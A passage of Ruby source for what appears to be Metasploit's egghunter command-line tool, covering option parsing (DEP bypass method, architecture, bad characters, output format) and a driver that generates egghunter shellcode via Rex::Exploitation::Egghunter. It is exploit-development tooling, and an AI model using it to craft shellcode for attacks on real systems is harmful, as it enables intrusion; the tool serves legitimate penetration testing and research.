opt.on('--depmethod <String>', "(Optional) The DEP method to use (virtualprotect/virtualalloc/copy/copy_size)") do |v|
|
||||
# Do not change this key. This should matching the one in Rex::Exploitation::Egghunter
|
||||
options[:depmethod] = v
|
||||
end
|
||||
|
||||
opt.on('-a', '--arch <String>', "(Optional) Architecture") do |v|
|
||||
# Although this is an option, this is currently useless because we don't have x64 egghunters
|
||||
options[:arch] = v
|
||||
end
|
||||
|
||||
opt.on('--list-formats', "List all supported output formats") do
|
||||
options[:list_formats] = true
|
||||
end
|
||||
|
||||
opt.on('-v', '--var-name <name>', String, '(Optional) Specify a custom variable name to use for certain output formats') do |v|
|
||||
options[:var_name] = v
|
||||
end
|
||||
|
||||
opt.on_tail('-h', '--help', 'Show this message') do
|
||||
$stdout.puts opt
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
parser.parse!(args)
|
||||
|
||||
if options.empty?
|
||||
raise OptionParser::MissingArgument, 'No options set, try -h for usage'
|
||||
elsif options[:format].blank? && !options[:list_formats]
|
||||
raise OptionParser::MissingArgument, '-f is required'
|
||||
elsif options[:eggtag].blank? && !options[:list_formats]
|
||||
raise OptionParser::MissingArgument, '-e is required'
|
||||
elsif options[:format] && !::Msf::Simple::Buffer.transform_formats.include?(options[:format])
|
||||
raise OptionParser::InvalidOption, "#{options[:format]} is not a valid format"
|
||||
elsif options[:depsize] && options[:depsize] !~ /^\d+$/
|
||||
raise OptionParser::InvalidOption, "--depsize must be a Fixnum"
|
||||
end
|
||||
|
||||
options[:badchars] = '' unless options[:badchars]
|
||||
options[:platform] = 'windows' unless options[:platform]
|
||||
options[:arch] = ARCH_X86 unless options[:arch]
|
||||
options[:var_name] = 'buf' unless options[:var_name]
|
||||
|
||||
options
|
||||
end
|
||||
end
|
||||
|
||||
class Driver
|
||||
def initialize
|
||||
begin
|
||||
@opts = OptsConsole.parse(ARGV)
|
||||
rescue OptionParser::ParseError => e
|
||||
$stderr.puts "[x] #{e.message}"
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
# list_formats should check first
|
||||
if @opts[:list_formats]
|
||||
list_formats
|
||||
return
|
||||
end
|
||||
|
||||
egghunter = Rex::Exploitation::Egghunter.new(@opts[:platform], @opts[:arch])
|
||||
raw_code = egghunter.hunter_stub('', @opts[:badchars], @opts)
|
||||
output_stream = $stdout
|
||||
output_stream.binmode
|
||||
output_stream.write ::Msf::Simple::Buffer.transform(raw_code, @opts[:format], @opts[:var_name])
|
||||
$stderr.puts
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def list_formats
|
||||
$stderr.puts "[*] Supported output formats:"
|
||||
$stderr.puts ::Msf::Simple::Buffer.transform_formats.join(", ")
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
if __FILE__ == $PROGRAM_NAME
|
||||
driver = Egghunter::Driver.new
|
||||
begin
|
||||
driver.run
|
||||
rescue ::Exception => e
|
||||
elog("#{e.class}: #{e.message}\n#{e.backtrace * "\n"}")
|
||||
$stderr.puts "[x] #{e.class}: #{e.message}"
|
||||
$stderr.puts "[*] If necessary, please refer to framework.log for more details."
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue